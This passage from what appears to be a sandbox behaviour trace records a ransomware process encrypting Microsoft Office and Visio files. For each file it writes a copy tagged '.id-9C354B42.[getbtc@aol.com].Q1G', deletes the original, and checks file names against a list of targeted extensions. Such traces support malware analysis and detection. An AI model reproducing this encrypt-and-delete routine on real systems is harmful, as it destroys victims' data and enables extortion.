Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_k_col.hxk.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0255.071] GetLastError () returned 0x0 [0255.071] ReadFile (in: hFile=0x3e0, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x71, lpOverlapped=0x0) returned 1 [0255.072] WriteFile (in: hFile=0x3f0, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x80, lpOverlapped=0x0) returned 1 [0255.073] ReadFile (in: hFile=0x3e0, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0255.073] WriteFile (in: hFile=0x3f0, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0255.073] SetEndOfFile (hFile=0x3f0) returned 1 [0255.073] CloseHandle (hObject=0x3f0) returned 1 [0255.073] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.073] SetEndOfFile (hFile=0x3e0) returned 1 [0255.075] CloseHandle (hObject=0x3e0) returned 1 [0255.075] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0255.076] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_k_col.hxk")) returned 1 [0255.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK") returned 67 [0255.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK") returned 67 [0255.076] lstrlenW (lpString=".doc") returned 4 [0255.076] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0255.076] lstrlenW (lpString=".docx") returned 5 [0255.076] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0255.076] lstrlenW (lpString=".pdf") returned 4 [0255.076] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0255.076] lstrlenW (lpString=".xls") returned 4 [0255.076] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0255.077] lstrlenW (lpString=".xlsx") returned 5 [0255.077] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0255.077] lstrlenW (lpString=".ppt") returned 4 [0255.077] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0255.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK") returned 67 [0255.077] lstrlenW (lpString=".zip") returned 4 [0255.077] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0255.077] lstrlenW (lpString=".rar") returned 4 [0255.077] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0255.077] lstrlenW (lpString=".bz2") returned 4 [0255.077] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0255.077] lstrlenW (lpString=".7z") returned 3 [0255.077] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0255.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK") returned 67 [0255.077] lstrlenW (lpString=".dbf") returned 4 [0255.077] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0255.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK") returned 67 [0255.077] lstrlenW (lpString=".1cd") returned 4 [0255.077] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0255.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK") returned 67 [0255.077] lstrlenW (lpString=".jpg") returned 4 [0255.077] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0255.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK") returned 67 [0255.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK") returned 67 [0255.077] lstrlenW (lpString=".doc") returned 4 [0255.077] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0255.077] lstrlenW (lpString=".docx") returned 5 [0255.077] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0255.077] lstrlenW (lpString=".pdf") returned 4 [0255.077] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0255.077] lstrlenW (lpString=".xls") returned 4 [0255.077] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0255.077] lstrlenW (lpString=".xlsx") returned 5 [0255.077] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0255.077] lstrlenW (lpString=".ppt") returned 4 [0255.077] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0255.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK") returned 67 [0255.078] lstrlenW (lpString=".zip") returned 4 [0255.078] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0255.078] lstrlenW (lpString=".rar") returned 4 [0255.078] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0255.078] lstrlenW (lpString=".bz2") returned 4 [0255.078] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0255.078] lstrlenW (lpString=".7z") returned 3 [0255.078] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0255.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK") returned 67 [0255.078] lstrlenW (lpString=".dbf") returned 4 [0255.078] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0255.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK") returned 67 [0255.078] lstrlenW (lpString=".1cd") returned 4 [0255.078] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0255.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK") returned 67 [0255.078] lstrlenW (lpString=".jpg") returned 4 [0255.078] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0255.078] lstrcmpiW (lpString1=".HXS", lpString2=".Q1G") returned -1 [0255.078] lstrlenW (lpString="VISIO_STD.HXS") returned 13 [0255.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0255.079] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=2520158) returned 1 [0255.079] CloseHandle (hObject=0x3e0) returned 1 [0255.079] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std.hxs")) returned 0x20 [0255.079] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std.hxs.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0255.079] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std.hxs.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0255.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS") returned 61 [0255.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS") returned 61 [0255.079] lstrlenW (lpString=".doc") returned 4 [0255.079] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0255.079] lstrlenW (lpString=".docx") returned 5 [0255.079] lstrcmpiW (lpString1=".docx", lpString2="D.HXS") returned -1 [0255.079] lstrlenW (lpString=".pdf") returned 4 [0255.079] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0255.079] lstrlenW (lpString=".xls") returned 4 [0255.079] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0255.079] lstrlenW (lpString=".xlsx") returned 5 [0255.079] lstrcmpiW (lpString1=".xlsx", lpString2="D.HXS") returned -1 [0255.079] lstrlenW (lpString=".ppt") returned 4 [0255.079] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0255.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS") returned 61 [0255.079] lstrlenW (lpString=".zip") returned 4 [0255.080] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0255.080] lstrlenW (lpString=".rar") returned 4 [0255.080] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0255.080] lstrlenW (lpString=".bz2") returned 4 [0255.080] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0255.080] lstrlenW (lpString=".7z") returned 3 [0255.080] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0255.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS") returned 61 [0255.080] lstrlenW (lpString=".dbf") returned 4 [0255.080] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0255.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS") returned 61 [0255.080] lstrlenW (lpString=".1cd") returned 4 [0255.080] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0255.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS") returned 61 [0255.080] lstrlenW (lpString=".jpg") returned 4 [0255.080] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0255.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS") returned 61 [0255.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS") returned 61 [0255.080] lstrlenW (lpString=".doc") returned 4 [0255.080] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0255.080] lstrlenW (lpString=".docx") returned 5 [0255.080] lstrcmpiW (lpString1=".docx", lpString2="D.HXS") returned -1 [0255.080] lstrlenW (lpString=".pdf") returned 4 [0255.080] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0255.080] lstrlenW (lpString=".xls") returned 4 [0255.080] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0255.080] lstrlenW (lpString=".xlsx") returned 5 [0255.080] lstrcmpiW (lpString1=".xlsx", lpString2="D.HXS") returned -1 [0255.080] lstrlenW (lpString=".ppt") returned 4 [0255.080] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0255.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS") returned 61 [0255.080] lstrlenW (lpString=".zip") returned 4 [0255.080] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0255.080] lstrlenW (lpString=".rar") returned 4 [0255.080] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0255.081] lstrlenW (lpString=".bz2") returned 4 [0255.081] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0255.081] lstrlenW (lpString=".7z") returned 3 [0255.081] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0255.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS") returned 61 [0255.081] lstrlenW (lpString=".dbf") returned 4 [0255.081] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0255.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS") returned 61 [0255.081] lstrlenW (lpString=".1cd") returned 4 [0255.081] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0255.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS") returned 61 [0255.081] lstrlenW (lpString=".jpg") returned 4 [0255.081] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0255.081] lstrcmpiW (lpString1=".HXC", lpString2=".Q1G") returned -1 [0255.081] lstrlenW (lpString="VISIO_STD_COL.HXC") returned 17 [0255.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0255.081] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=641) returned 1 [0255.082] CloseHandle (hObject=0x3e0) returned 1 [0255.082] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxc")) returned 0x20 [0255.082] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxc.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0255.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0255.082] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.082] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxc.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0255.083] GetLastError () returned 0x0 [0255.083] ReadFile (in: hFile=0x3e0, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x281, lpOverlapped=0x0) returned 1 [0255.300] WriteFile (in: hFile=0x3f0, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x290, lpOverlapped=0x0) returned 1 [0255.301] ReadFile (in: hFile=0x3e0, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0255.301] WriteFile (in: hFile=0x3f0, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0255.301] SetEndOfFile (hFile=0x3f0) returned 1 [0255.301] CloseHandle (hObject=0x3f0) returned 1 [0255.301] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.301] SetEndOfFile (hFile=0x3e0) returned 1 [0256.058] CloseHandle (hObject=0x3e0) returned 1 [0256.058] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0256.261] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxc")) returned 1 [0256.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC") returned 65 [0256.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC") returned 65 [0256.288] lstrlenW (lpString=".doc") returned 4 [0256.288] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0256.288] lstrlenW (lpString=".docx") returned 5 [0256.288] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0256.288] lstrlenW (lpString=".pdf") returned 4 [0256.288] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0256.288] lstrlenW (lpString=".xls") returned 4 [0256.288] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0256.288] lstrlenW (lpString=".xlsx") returned 5 [0256.288] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0256.288] lstrlenW (lpString=".ppt") returned 4 [0256.288] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0256.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC") returned 65 [0256.288] lstrlenW (lpString=".zip") returned 4 [0256.288] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0256.289] lstrlenW (lpString=".rar") returned 4 [0256.289] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0256.289] lstrlenW (lpString=".bz2") returned 4 [0256.289] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0256.289] lstrlenW (lpString=".7z") returned 3 [0256.289] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0256.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC") returned 65 [0256.289] lstrlenW (lpString=".dbf") returned 4 [0256.289] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0256.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC") returned 65 [0256.289] lstrlenW (lpString=".1cd") returned 4 [0256.289] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0256.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC") returned 65 [0256.289] lstrlenW (lpString=".jpg") returned 4 [0256.289] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0256.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC") returned 65 [0256.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC") returned 65 [0256.289] lstrlenW (lpString=".doc") returned 4 [0256.289] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0256.289] lstrlenW (lpString=".docx") returned 5 [0256.289] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0256.289] lstrlenW (lpString=".pdf") returned 4 [0256.289] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0256.289] lstrlenW (lpString=".xls") returned 4 [0256.289] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0256.289] lstrlenW (lpString=".xlsx") returned 5 [0256.289] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0256.289] lstrlenW (lpString=".ppt") returned 4 [0256.289] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0256.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC") returned 65 [0256.289] lstrlenW (lpString=".zip") returned 4 [0256.289] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0256.289] lstrlenW (lpString=".rar") returned 4 [0256.289] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0256.289] lstrlenW (lpString=".bz2") returned 4 [0256.289] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0256.290] lstrlenW (lpString=".7z") returned 3 [0256.290] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0256.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC") returned 65 [0256.290] lstrlenW (lpString=".dbf") returned 4 [0256.290] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0256.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC") returned 65 [0256.290] lstrlenW (lpString=".1cd") returned 4 [0256.290] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0256.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC") returned 65 [0256.290] lstrlenW (lpString=".jpg") returned 4 [0256.290] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0256.290] lstrcmpiW (lpString1=".vsdir", lpString2=".Q1G") returned 1 [0256.290] lstrlenW (lpString="Visfilem.vsdir") returned 14 [0256.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vsdir\\visfilem.vsdir"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0256.291] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=153) returned 1 [0256.291] CloseHandle (hObject=0x3c8) returned 1 [0256.291] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vsdir\\visfilem.vsdir")) returned 0x20 [0256.291] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vsdir\\visfilem.vsdir.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0256.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vsdir\\visfilem.vsdir"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0256.291] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.291] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vsdir\\visfilem.vsdir.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0256.394] GetLastError () returned 0x0 [0256.394] ReadFile (in: hFile=0x3c8, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x99, lpOverlapped=0x0) returned 1 [0256.395] WriteFile (in: hFile=0x3d8, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xa0, lpOverlapped=0x0) returned 1 [0256.396] ReadFile (in: hFile=0x3c8, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0256.396] WriteFile (in: hFile=0x3d8, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0256.396] SetEndOfFile (hFile=0x3d8) returned 1 [0256.396] CloseHandle (hObject=0x3d8) returned 1 [0256.396] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.396] SetEndOfFile (hFile=0x3c8) returned 1 [0256.398] CloseHandle (hObject=0x3c8) returned 1 [0256.398] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0256.399] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vsdir\\visfilem.vsdir")) returned 1 [0256.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir") returned 68 [0256.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir") returned 68 [0256.399] lstrlenW (lpString=".doc") returned 4 [0256.399] lstrcmpiW (lpString1=".doc", lpString2="sdir") returned -1 [0256.399] lstrlenW (lpString=".docx") returned 5 [0256.399] lstrcmpiW (lpString1=".docx", lpString2="vsdir") returned -1 [0256.399] lstrlenW (lpString=".pdf") returned 4 [0256.399] lstrcmpiW (lpString1=".pdf", lpString2="sdir") returned -1 [0256.399] lstrlenW (lpString=".xls") returned 4 [0256.400] lstrcmpiW (lpString1=".xls", lpString2="sdir") returned -1 [0256.400] lstrlenW (lpString=".xlsx") returned 5 [0256.400] lstrcmpiW (lpString1=".xlsx", lpString2="vsdir") returned -1 [0256.400] lstrlenW (lpString=".ppt") returned 4 [0256.400] lstrcmpiW (lpString1=".ppt", lpString2="sdir") returned -1 [0256.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir") returned 68 [0256.400] lstrlenW (lpString=".zip") returned 4 [0256.400] lstrcmpiW 